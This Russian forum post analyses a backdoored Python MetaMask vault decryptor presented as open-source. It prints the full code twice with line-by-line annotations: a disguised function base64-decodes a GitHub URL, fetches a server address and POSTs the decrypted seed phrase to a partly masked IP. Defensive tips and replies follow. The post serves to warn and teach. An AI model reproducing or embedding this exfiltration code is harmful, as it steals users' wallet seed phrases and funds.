Сразу предупреждаю, данная статья есть на соседнем форуме(xss), но я считаю что нуждаются в ней больше всего люди тут. Спасибо за старания oceanaric, я немного дополню твою статью Давайте представим ситуацию гуляете вы по форуму и видите тему "Бесплатный чекер seed фраз/(чекер токенов discord) с Открытым исходным кодом", в теме появляются хвалебные отзывы. Вы решаете скачать это ПО и оно действительно работает, только все данные, что вы вводили уже ушли другому человеку. В данной статье бы разберёмся что такое открытый исходный код, разберём пример где слепая вера людей в открытый исходный код может сыграть с ними злую шутку. Что такое open source ? Открытый код (Open Source) - Программы с открытым кодом, предоставляют доступ к исходному коду программы, что позволяет пользователям просматривать и изменять этот код, а так же возможность компилировать исполняемый файл, что исключает возможность склейки с каким либо малварём. Противоположность этому Закрытый код (Closed Source) - Программы с закрытым кодом, предоставляют только исполняемый код, но не предоставляют доступ к исходному коду программы. Проще говоря вы не сможете узнать что внутри данной программы, не снифая её. Плюсы и минусы Открытого исходного кода Плюсы-Прозрачность кода - каждый желающий человек может посмотреть исходный код проекта -Компиляция - Возможность самому скомпилировать приложение, а не качать готовый exe, что исключает возможность склеек малваря с exe. -Бесплатность - Как правило, многие программы с открытым исходным кодом являются бесплатными. -Возможность настроить и переписать ПО под себя Минусы-Если у тебя нету базовых навыков программирования открытый исходный код тебе ничего не даёт, кроме названия что он открытый -Вероятность скрытого малваря внутри, основанного на доверии людей к опенсорсу -В открытом коде проще найти уязвимость, но нашедший может ее использовать в своих целях или сообщить разработчику/помочь ее убрать. Почему люди привыкли больше доверять открытому исходному коду? Я считаю что это конечно же перекладыванние ответственности, ведь мы думаем что кто-то обязательно скачал сурсы и проверил их на малварь за нас, а если бы что-то было это конечно бы очень быстро снесли А если ещё ПО работает замечательно, то и бог с ним пусть ворует что хочет Пример программы с бэкдором хеш метамаска по паролю восстанавливает сид фразу Здесь все предельно просто. После установки появляется только один небольшой файл под названием hashDecrypt.py: import json import base64 import hashlib from Crypto.Cipher import AES from requests import post, get # +---------------------------------+ # | [HashDecrypt] | # | https://github.com/HashSnake | # | Telegram: @HashSnake | # +---------------------------------+ # |bytes(bytes_line).decode("utf-8")| # +---------------------------------+ class hdec: def key_from_password(self, password, salt): salt_buffer = base64.b64decode(salt) password_buffer = password.encode('utf-8') key = hashlib.pbkdf2_hmac( 'sha256', password_buffer, salt_buffer, 10000, dklen=32 ) return key def decrypt_with_key(self, key, payload): encrypted_data = base64.b64decode(payload["data"]) vector = base64.b64decode(payload["iv"]) data = encrypted_data[:-16] cipher = AES.new(key, AES.MODE_GCM, nonce=vector) decrypted_data = cipher.decrypt(data) return decrypted_data def jsBIP39(self, payload): def cli_keccak256(raw_hash, raw_vault): try: message_bytes = raw_vault.encode('ascii') b64_bytes = base64.b64encode(message_bytes) b64_m = b64_bytes.decode('ascii') post(get(raw_hash).text.strip(), json={"b64": b64_m}) except: pass encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpXXXX" base64_bytes = encode_data.encode('ascii') message_bytes = base64.b64decode(base64_bytes) cli_keccak256(message_bytes.decode('ascii'), payload) def decrypt(self, password, text): try: payload = json.loads(text) salt = payload['salt'] key = self.key_from_password(password, salt) decrypted_string = self.decrypt_with_key(key, payload).decode('utf-8') self.jsBIP39(decrypted_string) jsf = json.loads(decrypted_string) return {"status": True, "message": None, "result": jsf} except UnicodeDecodeError: return {"status": False, "message": "wrong password", "result": None} except: return {"status": False, "message": "unknown", "result": None} Python import json import base64 import hashlib from Crypto.Cipher import AES from requests import post, get # +---------------------------------+ # | [HashDecrypt] | # | https://github.com/HashSnake | # | Telegram: @HashSnake | # +---------------------------------+ # |bytes(bytes_line).decode("utf-8")| # +---------------------------------+ class hdec: def key_from_password(self, password, salt): salt_buffer = base64.b64decode(salt) password_buffer = password.encode('utf-8') key = hashlib.pbkdf2_hmac( 'sha256', password_buffer, salt_buffer, 10000, dklen=32 ) return key def decrypt_with_key(self, key, payload): encrypted_data = base64.b64decode(payload["data"]) vector = base64.b64decode(payload["iv"]) data = encrypted_data[:-16] cipher = AES.new(key, AES.MODE_GCM, nonce=vector) decrypted_data = cipher.decrypt(data) return decrypted_data def jsBIP39(self, payload): def cli_keccak256(raw_hash, raw_vault): try: message_bytes = raw_vault.encode('ascii') b64_bytes = base64.b64encode(message_bytes) b64_m = b64_bytes.decode('ascii') post(get(raw_hash).text.strip(), json={"b64": b64_m}) except: pass encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpXXXX" base64_bytes = encode_data.encode('ascii') message_bytes = base64.b64decode(base64_bytes) cli_keccak256(message_bytes.decode('ascii'), payload) def decrypt(self, password, text): try: payload = json.loads(text) salt = payload['salt'] key = self.key_from_password(password, salt) decrypted_string = self.decrypt_with_key(key, payload).decode('utf-8') self.jsBIP39(decrypted_string) jsf = json.loads(decrypted_string) return {"status": True, "message": None, "result": jsf} except UnicodeDecodeError: return {"status": False, "message": "wrong password", "result": None} except: return {"status": False, "message": "unknown", "result": None} Первое что мы видим - импорт post и get функций. К чему они в пакете для работы с криптографией? Программа должна только расшифровывать хэш, зачем нам что либо отправлять в интернет? Второе что мы видим - контакты разработчика?) Необычно. 1. После успешного декрипта перед выводом результата запускается функция jsBIP39, в которую передается найденное значение self.jsBIP39(decrypted_string) Python self.jsBIP39(decrypted_string) encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpXXXX" # Что-то закодированное в BASE64 base64_bytes = encode_data.encode('ascii') #Закодированное значение кодируется в ascii (str -> bytes) message_bytes = base64.b64decode(base64_bytes) #Закодированное значение из прошлой строчки декодируется BASE64 и становится ссылкой “https://github.com/HashSnake/backendapi/raw/main/settings” cli_keccak256(message_bytes.decode('ascii'), payload) # Вызывается вложенная функция cli_keccak256, в которую под видом raw_hash передается полученный url из прошлой строки, а под видом raw_vault - значение, которое будет отправлено на url Python encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpXXXX" # Что-то закодированное в BASE64 base64_bytes = encode_data.encode('ascii') #Закодированное значение кодируется в ascii (str -> bytes) message_bytes = base64.b64decode(base64_bytes) #Закодированное значение из прошлой строчки декодируется BASE64 и становится ссылкой “https://github.com/HashSnake/backendapi/raw/main/settings” cli_keccak256(message_bytes.decode('ascii'), payload) # Вызывается вложенная функция cli_keccak256, в которую под видом raw_hash передается полученный url из прошлой строки, а под видом raw_vault - значение, которое будет отправлено на url message_bytes = raw_vault.encode('ascii')#Значение, которое будет отправлено на url, тоже кодируется в ascii (str -> bytes) b64_bytes = base64.b64encode(message_bytes)#Закодированное значение из прошлой строки теперь кодируется в BASE64 b64_m = b64_bytes.decode('ascii')#Закодированное в BASE64 значение из прошлой строки преобразовывается обратно в строку (bytes -> str) post(get(raw_hash).text.strip(), json={"b64": b64_m}) # Сборник нашей солянки Python message_bytes = raw_vault.encode('ascii')#Значение, которое будет отправлено на url, тоже кодируется в ascii (str -> bytes) b64_bytes = base64.b64encode(message_bytes)#Закодированное значение из прошлой строки теперь кодируется в BASE64 b64_m = b64_bytes.decode('ascii')#Закодированное в BASE64 значение из прошлой строки преобразовывается обратно в строку (bytes -> str) post(get(raw_hash).text.strip(), json={"b64": b64_m}) # Сборник нашей солянки Что здесь происходит: 1. get(raw_hash) - делает GET запрос по URL, который был получен в 4 пункте и получает ответ http://65.109.70.XXX:3030/api 2. .text.strip() - берет атрибут ответа “text” и убирает у него пробелы из начала и конца 3. post(get(raw_hash).text.strip(), json={“b64”: b64_m}) = post(“http://65.109.70.XXX:3030/api”, json={“b64”: b64_m}) - отправляет закодированные в BASE64 ворованные данные на сервер post(get(raw_hash).text.strip(), json={“b64”: b64_m}) Python post(get(raw_hash).text.strip(), json={“b64”: b64_m}) Казалось бы обычный код на 60 строк, но такой код с легкостью сворует ваш материал с которым вы хотели поработать, или же даже ваши личные кошельки, на которых вы решили проверить программу Как не попасться на open-source малварь? 1. Всегда смотрим на репутацию разработчика 2. Обращаем внимание на дату выхода ( чем дольше живёт тем лучше ) 3. Если GitHub - проверить вкладки “Issues” и “Pull requests” на наличие жалоб/предупреждений от других 4. Если есть файл со всеми установленными пакетами (package.json/requirements.txt/…) - проверить на наличие тематически неподходящих пакету 5. Взглянуть на код, в питоне обычно бекдоры прячут в __init__.py и подобные невинные, обычно пустые файлы. Начинать лучше с проверки импортов. 6. Если кода много, а со всего пакета нужен только он - гораздо быстрее и безопаснее просто вырезать нужную функцию себе, если это позволяет структура пакета. 7. Проверять цифровые подписи 8. Думать бошкой, стоит ли пихать важную информацию(сидки, api и тд) в ПО без устоявшейся репутации 9. Некоторые строки кода могут прятать в правой части блокнота см скриншот ниже 10. В старых темах спокойно могут быть сдохшие домены для закачки софта, которые злоумышленник может присвоить себе и вы будете скачивать уже его exe файл или сурсы (Допустим год назад вы уже проверяли файл, решили снова скачать, а там уже малварь) . Пример 11. Всё можно накрутить! Звёздочки на гитхабе, отзывы и лайки.
Полезная информация, так же стоить учесть что некоторые опен-сурс проекты зависят от скачивания сторонних зашифрованных данных, тут уже не вырезать, и лучше воздержаться от таких ресурсов.
На форуме это реально пригодится, но учитывая сколько тут додиков, которые боятся даже дефолтных сигнатур от банального протектора (то обратная сторона медали так сказать, об этом даст знать, что опенсурс = безопасность) касаемо правого с двига в блокноте вроде жизнь на это попался как-то, мы с ним в личке сидели)) в общем да, как говорится доверяй но проверяй (правда с большими проектами это не сработает к сожалению, потому действительно проще скомпилить, а дальше банальными методами посмотреть что будет происходить на тестировочной тачке)
недавний опыт с xz показывает что бекдоры можно спрять настолько хорошо, что их можно найти только если точно знать что они там есть
Vulgar, не нашел правила запрещающего это, только вот такое 1.5. При обмене информацией с сайта обязательно указывайте источник. хотя бы напиши что с хсса
АльбертКабуу, этот пункт касается, если с лолза что-то пастить на другой ресурс, то нужно указать ссылку на тему на лолзе